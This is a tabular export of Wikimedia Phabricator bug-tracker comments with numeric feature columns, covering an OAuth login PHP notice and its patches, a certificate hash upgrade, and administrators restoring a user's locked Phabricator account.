",,,1432925373,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 214670 had a related patch set uploaded (by RobH):
ganglia's sha1 cert to sha256

[[GERRIT_URL]]
"
100020,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Almost every login:
```
PHP Notice:  Undefined variable: status in /data/project/commonsarchive/public_html/w/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php on line 53
PHP Stack trace:
PHP   1. {main}() /data/project/commonsarchive/public_html/w/index.php:0
PHP   2. MediaWiki->run() /data/project/commonsarchive/public_html/w/index.php:46
PHP   3. MediaWiki->main() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:435
PHP   4. MediaWiki->performRequest() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:584
PHP   5. SpecialPageFactory::executePath() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:275
PHP   6. SpecialPage->run() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPageFactory.php:584
PHP   7. MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPage.php:363
PHP Fatal error:  Call to a member function isGood() on a non-object in /data/project/commonsarchive/public_html/w/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php on line 53
PHP Stack trace:
PHP   1. {main}() /data/project/commonsarchive/public_html/w/index.php:0
PHP   2. MediaWiki->run() /data/project/commonsarchive/public_html/w/index.php:46
PHP   3. MediaWiki->main() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:435
PHP   4. MediaWiki->performRequest() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:584
PHP   5. SpecialPageFactory::executePath() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:275
PHP   6. SpecialPage->run() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPageFactory.php:584
PHP   7. MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPage.php:363
```
Not a big issue, but it floods log files.",Medium,50.0,1432304324,1432764669.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-4ok7hmihyelt2skxvmru,task_description,resolved,True,c3,1,True,False,True,-6,True,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.727272727272727,0.8181818181818182,"Almost every login:
``CODE``
Not a big issue, but it floods log files."
464598,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 214090 abandoned by CSteipp:
Remove $status causing warning

Reason:
Duplicate of https://gerrit.wikimedia.org/r/#/c/212785/

[[https://gerrit.wikimedia.org/r/214090]]",,,1432754341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,3.96,0.8,"Change 214090 abandoned by CSteipp:
Remove $status causing warning

Reason:
Duplicate of URL

[[GERRIT_URL]]"
464597,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 212785 merged by jenkins-bot:
SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling

[[https://gerrit.wikimedia.org/r/212785]]",,,1432754330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.6,0.88,"Change 212785 merged by jenkins-bot:
SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling

[[GERRIT_URL]]"
464596,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 214090 had a related patch set uploaded (by CSteipp):
Remove $status causing warning

[[https://gerrit.wikimedia.org/r/214090]]
",,,1432754266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.84,0.88,"Change 214090 had a related patch set uploaded (by CSteipp):
Remove $status causing warning

[[GERRIT_URL]]
"
462253,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 212785 had a related patch set uploaded (by Gerrit Patch Uploader):
SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling

[[https://gerrit.wikimedia.org/r/212785]]
",,,1432305296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.59375,0.875,"Change 212785 had a related patch set uploaded (by Gerrit Patch Uploader):
SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling

[[GERRIT_URL]]
"
99455,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Username is @Meno25

See https://en.wikipedia.org/w/index.php?title=User_talk:Josve05a&oldid=663230168#Phabricator",Medium,50.0,1431883822,1435144709.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-tpgl74m777dx6dczzppy,task_description,resolved,True,c3,1,True,False,True,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,1.0,"Username isSCREEN_NAME

See URL"
480615,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"I can login now normally. Thank you, all, for your hard work.",,,1435141650,,PHID-USER-mcmogeeuowpqahpn6n4r,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,False,,,-2,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.875,"I can login now normally. Thank you, all, for your hard work."
480099,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),This should be fixed but I'm waiting for confirmation.,,,1435076519,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,This should be fixed but I'm waiting for confirmation.
479953,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),I did. I'm sorry I forgot to do this over the weekend (I was on vacation until today. I'll get it fixed right away),,,1435069652,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,17.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.8333333333333334,I did. I'm sorry I forgot to do this over the weekend (I was on vacation until today. I'll get it fixed right away)
479848,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),@mmodell: Did you receive Meno25's email address?,,,1435061031,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,SCREEN_NAME: Did you receive Meno25's email address?
477927,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Alright, [[ https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator | I've asked Meno25 ]] to provide the email address they used for registration in Phab.",,,1434713313,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5416666666666665,0.9166666666666666,"Alright, [[ URL | I've asked Meno25 ]] to provide the email address they used for registration in Phab."
477550,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Ok I can't verify without knowing the email address, it doesn't let me input the account name only.",,,1434657213,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,9.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,"Ok I can't verify without knowing the email address, it doesn't let me input the account name only."
477463,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),It's part of the phabricator/bin/auth tool. ,,,1434650861,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9166666666666666,It's part of the phabricator/bin/auth tool. 
477459,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@mmodell: Uh, I wasn't aware at all about forcing verification. Darrn, thanks a lot for telling me! :)
Yeah, renaming from @Menodisabled to @Meno25 and forcing verification makes a lot more sense.",,,1434650795,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,3.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,5.0,3.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.0,10.0,3.0,0.0,0.0,4.384615384615385,0.8205128205128205,"SCREEN_NAME: Uh, I wasn't aware at all about forcing verification. Darrn, thanks a lot for telling me! :)
Yeah, renaming fromSCREEN_NAME toSCREEN_NAME and forcing verification makes a lot more sense."
477451,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),@aklapper: there is a command in phabricator/bin to force verify and account. I think deleting or force verifying are better choices than rename+disable. At least in this case. Should I try renaming it back and forcing the verification?,,,1434650507,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,4.466666666666667,0.8666666666666667,SCREEN_NAME: there is a command in phabricator/bin to force verify and account. I think deleting or force verifying are better choices than rename+disable. At least in this case. Should I try renaming it back and forcing the verification?
477371,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Seeing some folks who could hopefully delete the user @Menodisabled in Phab via shell access (as [[ https://gerrit.wikimedia.org/r/#/c/219151/ | I myself cannot do that yet ]])...

(I tried renaming the account in Phab but does not help as the MediaWiki SUL account is of course [[ https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator | still connected to the renamed account in Phab ]])",,,1434645001,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,1.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,15.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,4.0,3.611940298507463,0.6716417910447762,"Seeing some folks who could hopefully delete the userSCREEN_NAME in Phab via shell access (as [[ URL | I myself cannot do that yet ]])...

(I tried renaming the account in Phab but does not help as the MediaWiki SUL account is of course [[ URL | still connected to the renamed account in Phab ]])"
477046,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),Asked Meno25 to try again in https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator now that T102276 has been worked around by Mukunda,,,1434618445,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Asked Meno25 to try again in URL now that T102276 has been worked around by Mukunda
473418,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Instead of deleting I went for renaming the existing user account from @Meno25 to @Menodisabled (and disabled that account).

I **hope** that now @Meno25 can create a new Phab account as @Meno25 again, with a valid email address to verify. But as @Menodisabled is still tied to the MediaWiki User account Meno25 I am not entirely sure. If it does not work, I'm willing to completely delete the account.

------

For the records, Phabricator's printed info for renaming accounts is pretty similar to that for deleting:
""Be careful when renaming users! The old username will no longer be tied to the user, so anything which uses it (like old commit messages) will no longer associate correctly. (And, if you give a user a username which some other user used to have, username lookups will begin returning the wrong user.) It is generally safe to rename newly created users (and test users and so on), but less safe to rename established users and unsafe to reissue a username. Users who rely on password authentication will need to reset their password after their username is changed (their username is part of the salt in the password hash). The user will receive an email notifying them that you changed their username, with instructions for logging in and resetting their password if necessary.""",,,1434063412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-3,True,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,5.666666666666667,1.0,0.0,0.0,1.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,6.666666666666667,10.666666666666666,0.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,4.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,15.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,2.6666666666666665,6.333333333333333,2.0,3.0,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,5.666666666666667,10.666666666666666,3.0,0.0,0.6666666666666666,0.0,5.666666666666667,0.0,1.3333333333333333,2.0,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,4.2784313725490195,0.6901960784313724,"Instead of deleting I went for renaming the existing user account fromSCREEN_NAME toSCREEN_NAME (and disabled that account).

I **hope** that nowSCREEN_NAME can create a new Phab account asSCREEN_NAME again, with a valid email address to verify. But asSCREEN_NAME is still tied to the MediaWiki User account Meno25 I am not entirely sure. If it does not work, I'm willing to completely delete the account.

------

For the records, Phabricator's printed info for renaming accounts is pretty similar to that for deleting:
""Be careful when renaming users! The old username will no longer be tied to the user, so anything which uses it (like old commit messages) will no longer associate correctly. (And, if you give a user a username which some other user used to have, username lookups will begin returning the wrong user.) It is generally safe to rename newly created users (and test users and so on), but less safe to rename established users and unsafe to reissue a username. Users who rely on password authentication will need to reset their password after their username is changed (their username is part of the salt in the password hash). The user will receive an email notifying them that you changed their username, with instructions for logging in and resetting their password if necessary."""
461305,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Aklapper @Krenair: He can't. can't. It gives him the response ""Must Verify Email"".",,,1432113015,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.8,0.75,"SCREEN_NAMESCREEN_NAME: He can't. can't. It gives him the response ""Must Verify Email""."
461103,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),">>! In T99455#1297728, @Krenair wrote:
> someone must have database access.

OK, you can do via an SQL command. What I should have written instead: The web interface does not allow Phabricator admins to change a user's email address (while e.g. Bugzilla allowed it).",,,1432072182,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,7.0,9.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8636363636363638,0.9545454545454546,"QUOTE
QUOTE

OK, you can do via an SQL command. What I should have written instead: The web interface does not allow Phabricator admins to change a user's email address (while e.g. Bugzilla allowed it)."
461101,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),">>! In T99455#1297684, @Aklapper wrote:
> Furthermore, noone else can change a user's email address.

